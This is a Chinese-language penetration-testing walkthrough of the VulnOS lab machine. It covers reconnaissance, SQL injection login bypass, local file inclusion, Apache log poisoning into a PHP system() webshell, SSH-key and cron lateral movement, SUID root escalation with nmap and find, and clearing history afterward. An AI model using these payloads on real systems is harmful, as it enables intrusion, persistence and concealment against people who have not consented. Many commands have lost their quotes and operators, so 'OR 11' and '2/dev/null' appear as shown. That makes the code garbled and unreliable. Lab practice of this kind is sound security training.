VulnOS靶场实战:从SQL注入到权限提升的完整渗透测试指南

📅 2026/8/13 6:54:31
VulnOS靶场实战:从SQL注入到权限提升的完整渗透测试指南
1. 项目概述为什么VulnOS是渗透测试的“必修课”如果你刚接触网络安全或者想从理论转向实战那么“靶场”这个词你一定不陌生。它就像网络安全领域的“模拟驾驶舱”让你在一个安全、合法的环境里练习各种攻击和防御技术而不用担心触犯法律或造成实际损害。在众多靶场中VulnOS 绝对是一个绕不开的名字它被很多老鸟称为“渗透测试的必练靶场”这可不是空穴来风。我第一次接触VulnOS是在几年前当时为了准备一个认证考试需要大量实操。市面上靶场五花八门有的太简单像做选择题有的又太复杂像直接扔给你一个真实企业网络让人无从下手。VulnOS 恰好卡在了一个黄金平衡点上它模拟了一个相对完整的、存在多个漏洞的Linux系统从信息收集、Web渗透到权限提升几乎覆盖了渗透测试的经典流程。更重要的是它的漏洞设计非常“教科书”没有太多花里胡哨的混淆能让你清晰地理解每一种攻击手法的原理和利用条件。这就像学武术你得先扎好马步、练好标准拳法才能去应对复杂的实战。VulnOS就是那个帮你打好基础的“马步”。对于新手来说它能帮你建立完整的渗透测试思维对于有经验的人来说它可以作为检验基础技能是否扎实的试金石。接下来我会结合自己多次通关的经验从安装部署到核心漏洞详解带你完整地走一遍VulnOS分享那些官方文档里不会写的细节和踩过的坑。2. VulnOS靶场详解核心漏洞与攻击路径拆解VulnOS 靶场模拟了一个名为“Jarbas”的用户的个人服务器。整个渗透过程可以清晰地划分为几个阶段这本身就是一种很好的学习框架。下面我们来拆解它的核心设计思路和攻击面。2.1 整体环境与设计思路VulnOS 本质上是一个运行在虚拟机里的Linux系统基于Ubuntu。它预装并配置了多个存在漏洞的服务最核心的是一个自定义的Web应用。靶场的最终目标是获取系统的最高权限root shell。它的设计巧妙之处在于漏洞链环环相扣你需要像侦探一样将发现的碎片信息线索串联起来一步步深入。典型的攻击路径是这样的信息收集发现目标IP和开放端口识别运行的服务如HTTP, SSH。Web渗透这是主战场。通过网站漏洞如SQL注入、文件包含获取Web服务器的访问权限或者直接拿到数据库中的敏感信息如用户密码哈希。权限提升利用Web漏洞获得的立足点比如一个低权限的Web Shell结合系统层面的配置错误或内核漏洞将权限从普通用户如www-data提升到jarbas用户最终提升到root。这个路径模拟了从外部攻击到内部横向移动/提权的经典场景非常贴近中级难度的真实渗透测试。2.2 核心漏洞点深度解析VulnOS 包含了多个经典漏洞我们逐一来看其原理和利用的关键。1. SQL注入登录绕过与数据泄露这是最常见的入口点之一。靶场的Web登录界面存在SQL注入漏洞。漏洞原理是后端代码直接将用户输入拼接进SQL查询语句没有进行任何过滤或参数化处理。 例如登录的查询可能是SELECT * FROM users WHERE username$user AND password$pass。 通过注入 OR 11到用户名字段查询就变成了SELECT * FROM users WHERE username OR 11 AND passwordxxx。由于11永远为真这条查询就可能返回数据库中的用户记录从而实现“无密码”登录。实操心得遇到登录框先尝试最简单的单引号看是否有报错信息。VulnOS的注入点比较明显使用admin --注意末尾空格通常可以直接绕过。使用sqlmap工具可以自动化这个过程但手动理解payload的构造对于学习至关重要。2. 本地文件包含LFI与日志投毒登录系统后你可能会发现某些页面通过参数来包含文件例如page../../../../etc/passwd。这就是本地文件包含漏洞允许攻击者读取服务器上的任意文件。 更高级的利用是“日志投毒”。Apache等Web服务器的访问日志如/var/log/apache2/access.log会记录每一个请求包括User-Agent头。如果我们可以向日志中写入PHP代码通过修改User-Agent再通过LFI漏洞去包含这个日志文件服务器就会执行我们写入的PHP代码从而获得一个Web Shell。注意事项LFI读取文件时可能会遇到路径遍历限制。需要尝试不同的层级../数量。日志投毒时要确保写入的PHP代码是完整的?php system($_GET[‘cmd’]);?形式并且通过LFI包含时日志文件能被PHP解析器处理有时需要额外参数或特定姿势。3. 系统配置错误与SUID提权通过Web Shell我们通常以www-data用户身份执行命令。下一步是提权到普通用户jarbas。这里常常利用的是配置错误例如jarbas用户的家目录权限设置不当www-data可以读取其SSH私钥或者某个由jarbas运行的定时任务cron job可以被我们写入或影响。 获得jarbas权限后向root提权是最后一步。VulnOS 经典的一招是利用配置错误的SUIDSet User ID二进制文件。SUID文件在执行时会以文件所有者的权限运行。如果root拥有的某个程序如/bin/bash的某个自定义副本、或者像nmap这样的工具被设置了SUID位并且功能可以被我们滥用我们就能借此获得一个rootshell。 一个经典的例子是如果nmap旧版本交互模式被设置了SUID我们可以在nmap交互模式中执行!bash来逃逸到一个shell而这个shell将继承nmap的root权限。排查技巧拿到任何用户权限后第一件事就是运行find / -perm -us -type f 2/dev/null这条命令查找所有SUID文件。然后逐一研究这些不常见的、属于root的SUID文件搜索其已知的提权方法。3. 从零开始VulnOS靶场安装与环境配置指南工欲善其事必先利其器。一个稳定的实验环境是成功的第一步。这里我提供两种主流的安装方法并详细说明网络配置的坑点。3.1 虚拟机安装与网络模式选择VulnOS 的镜像文件通常是.ova或.vmdk格式可以从 VulnHub 官网免费下载。我强烈建议使用VMware Workstation Pro或VirtualBox来运行它。步骤一导入虚拟机下载完成后如果是.ova文件直接在VMware或VirtualBox中选择“文件”-“打开”导入该文件。导入后不要急着启动。先检查虚拟机的设置。步骤二关键的网络配置避坑重点这是新手最容易出问题的地方。靶场需要与你的攻击机通常是Kali Linux通信。桥接模式虚拟机会像一台真实设备一样接入你的物理网络会从你的路由器获取一个IP地址如192.168.1.x。优点是攻击机无论物理机还是虚拟机只要在同一局域网都能访问靶机。缺点是需要路由器环境在纯笔记本移动场景可能不稳定。NAT模式虚拟机共享主机的IP地址上网对外不可见。默认的NAT模式你的攻击机Kali无法直接访问靶机。Host-Only模式虚拟机和主机之间形成一个封闭的私有网络虚拟机无法上外网但可以和主机通信。推荐方案使用VMware的“自定义”网络我个人的最佳实践是在VMware中创建一个自定义的VMnet网络例如VMnet2将攻击机Kali和靶机VulnOS的网络适配器都设置为这个VMnet2。在VMware的“编辑”-“虚拟网络编辑器”中添加一个网络如VMnet2类型选择“仅主机模式”。将Kali和VulnOS虚拟机的网络适配器都设置为“自定义”并选中刚才创建的VMnet2。这样两台虚拟机就处于一个与主机隔离的、纯粹的内部网络中可以互相通信且不受外部网络干扰是最稳定的实验环境。步骤三启动与初始发现启动VulnOS虚拟机。它通常会直接启动到登录界面。你不需要知道登录密码因为我们的目标就是通过渗透找到它。此时你需要确定靶机的IP地址。 在VulnOS的登录界面按Ctrl Alt F2在VMware中可能需要按Ctrl Alt Insert然后按F2切换到命令行终端。使用ifconfig或ip addr show命令查看IP地址。记下这个IP例如192.168.xxx.xxx。3.2 攻击机环境准备以Kali为例你的攻击机我假设使用Kali Linux。更新与基础工具首先sudo apt update sudo apt upgrade -y确保工具最新。关键工具确认确保安装了nmap,sqlmap,nikto,dirb,metasploit-framework等。通常Kali默认都有。网络连通性测试在Kali终端里ping 靶机IP。如果能通说明网络配置成功。这是后续所有步骤的基础务必先确认。4. 手把手渗透实战分阶段攻破VulnOS现在我们假设靶机IP是192.168.56.105攻击机Kali的IP是192.168.56.104。让我们开始一次完整的“模拟攻击”。4.1 第一阶段信息收集与侦察信息收集是渗透的“眼睛”决定了你从哪个方向进攻。主机发现与端口扫描# 使用nmap进行快速扫描识别开放端口 nmap -sS -T4 192.168.56.105-sS是SYN半开放扫描速度快且相对隐蔽。-T4指定扫描速度。你会看到类似以下结果PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6667/tcp open irc这表明靶机开放了SSH22、HTTP80和一个IRC服务6667。Web服务80端口通常是最主要的攻击面。服务与版本探测# 对开放的端口进行更详细的版本探测 nmap -sV -sC -p 22,80,6667 192.168.56.105-sV探测服务版本-sC运行默认的Nmap脚本。这会告诉你Apache的版本、PHP版本等有助于寻找已知漏洞。Web目录枚举# 使用dirb或gobuster寻找隐藏的目录和文件 dirb http://192.168.56.105 /usr/share/wordlists/dirb/common.txt或者使用更快的gobustergobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt这个步骤可能会发现/admin/phpmyadmin/test等关键路径。4.2 第二阶段Web应用渗透与突破访问http://192.168.56.105你会看到一个简单的网站。这就是我们的主战场。手动测试SQL注入 寻找登录框、搜索框。在登录的用户名处尝试输入admin --。如果成功登录后台证明存在SQL注入。你也可以使用sqlmap进行自动化验证和利用sqlmap -u http://192.168.56.105/login.php --datausernameadminpasswordtest --level3 --risk2--data指定POST参数--level和--risk提高测试等级。利用LFI漏洞 登录后台后注意URL参数。常见的参数名如page,file,load。尝试修改它http://192.168.56.105/index.php?page../../../../etc/passwd。如果成功显示了系统用户列表则LFI存在。日志投毒获取Shell a. 首先用Burp Suite或浏览器插件向靶机发送一个请求并将User-Agent头修改为PHP代码User-Agent: ?php system($_GET[cmd]);?b. 然后通过LFI漏洞包含Apache的访问日志常见路径/var/log/apache2/access.loghttp://192.168.56.105/index.php?page../../../../var/log/apache2/access.logcmdid如果页面返回了uid33(www-data) gid33(www-data) ...恭喜你命令执行成功了。你可以将cmd参数的值换成其他命令如whoami,pwd。建立稳定的Web Shell 命令执行成功了但每次都要带参数很麻烦。我们可以写一个简单的PHP Webshell到网站目录。# 通过命令执行用echo写入一个shell文件 http://192.168.56.105/index.php?page../../../../var/log/apache2/access.logcmdecho ?php system($_GET[c]);? /var/www/html/shell.php然后直接访问http://192.168.56.105/shell.php?cid就能执行命令。这样就获得了一个简单的反向Shell或Web交互界面。4.3 第三阶段权限提升之路现在我们已经以www-data用户身份在系统上执行命令了。目标是root。横向移动到jarbas用户检查jarbas家目录ls -la /home/jarbas/。看看是否有.ssh目录里面是否有id_rsa私钥。如果有且可读可以复制到Kali用chmod 600 id_rsa修改权限后直接ssh -i id_rsa jarbas192.168.56.105登录。检查计划任务cat /etc/crontab或crontab -l如果允许。看是否有以jarbas身份运行的定时任务并且任务中的脚本或路径是否可写。检查数据库密码复用之前SQL注入可能拿到了数据库密码。有些管理员会在不同服务复用密码。尝试su jarbas然后输入数据库密码看看。从jarbas到rootSUID提权 登录jarbas后立即查找SUID文件find / -perm -us -type f 2/dev/null | grep -v /proc\|/sys仔细查看列表。一个常见的可疑文件可能是/usr/bin/xxxx这里xxxx代表某个不常见的工具。搜索这个文件名“SUID privilege escalation”通常能在GTFOBins这个网站上找到利用方法。 例如假设发现/usr/bin/find有SUID位VulnOS里不一定是这个只是举例可以利用/usr/bin/find . -exec /bin/bash -p \;这里的-p参数会让bash保留SUID赋予的高权限从而得到一个rootshell。执行whoami确认是否为root。5. 常见问题、排查技巧与深度优化在实际操作中绝不会一帆风顺。下面是我总结的一些典型问题及其解决方法。5.1 网络与连接问题问题现象可能原因解决方案Kali ping不通靶机虚拟机网络模式设置错误确保两者在同一网络如都设为VMnet2。关闭防火墙sudo ufw disable在靶机或Kali上。能ping通但无法访问Web靶机Web服务未启动到靶机终端检查sudo systemctl status apache2。尝试重启sudo systemctl restart apache2。扫描不到80端口靶机IP地址变更重启靶机在终端再次用ip addr确认IP。虚拟机运行卡顿分配资源不足为VulnOS分配至少1GB内存和双核CPU。关闭不必要的宿主程序。实操心得永远先检查网络。我的习惯是在启动任何渗透步骤前先在Kali上arp-scan -l扫描整个网段确认靶机的MAC地址和IP确实在线。这比单纯ping更可靠。5.2 漏洞利用失败分析SQL注入payload无效可能是过滤了空格或某些关键词。尝试用注释符/**/代替空格或者用大小写、双写绕过。例如UNION写成UnIoN或UNunionION。用sqlmap的--tamper参数尝试各种绕过脚本。LFI读取不到/etc/passwd可能是路径深度不对或存在过滤。尝试不同的../数量或者使用绝对路径/etc/passwd。有时需要URL编码如..%2f..%2f。还可以尝试PHP的封装器如php://filter/convert.base64-encode/resource/etc/passwd来读取文件内容。日志投毒不执行首先确认日志路径是否正确可能是/var/log/httpd/access_log。其次查看日志文件内容确认我们的恶意User-Agent是否被正确写入sudo tail -f /var/log/apache2/access.log。最后有些环境需要额外的技巧才能让LFI执行日志中的PHP代码比如通过include()包含时需要确保日志文件以.php后缀被解析这可能需要在请求中添加?等字符。5.3 渗透后的清理与学习延伸拿到root权限并不是终点。一个负责任的渗透测试者或学习者还需要清理痕迹删除上传的Webshell文件如/var/www/html/shell.php清除命令历史history -c并清空~/.bash_history。复盘总结画出整个渗透路径的流程图标明每个漏洞点、利用工具和关键命令。问自己有没有其他路径那个IRC服务6667端口我探索了吗如果第一步的SQL注入被修复了我还有别的入口吗尝试其他方法用Metasploit框架从头到尾自动化完成一次渗透。对比手动和自动的差异理解框架背后的原理。搭建自己的变种在虚拟机里尝试手动修改VulnOS的某个漏洞比如修补SQL注入然后再次尝试攻击看看你的绕过技巧是否有效。这是将知识内化的最佳方式。VulnOS的价值在于它提供了一个近乎完美的“训练场”。它没有最新的0day漏洞但涵盖了最基础、最核心的攻防原理。把这些基础打牢形成肌肉记忆和条件反射当你面对更复杂、更隐蔽的现代靶场或真实环境时才能快速抓住重点拆解问题。我建议至少完全手动通关三遍每一遍尝试不同的攻击路径和提权方法直到你觉得整个过程行云流水遇到问题能自己独立排查。这时候你的渗透测试基本功才算真正入门了。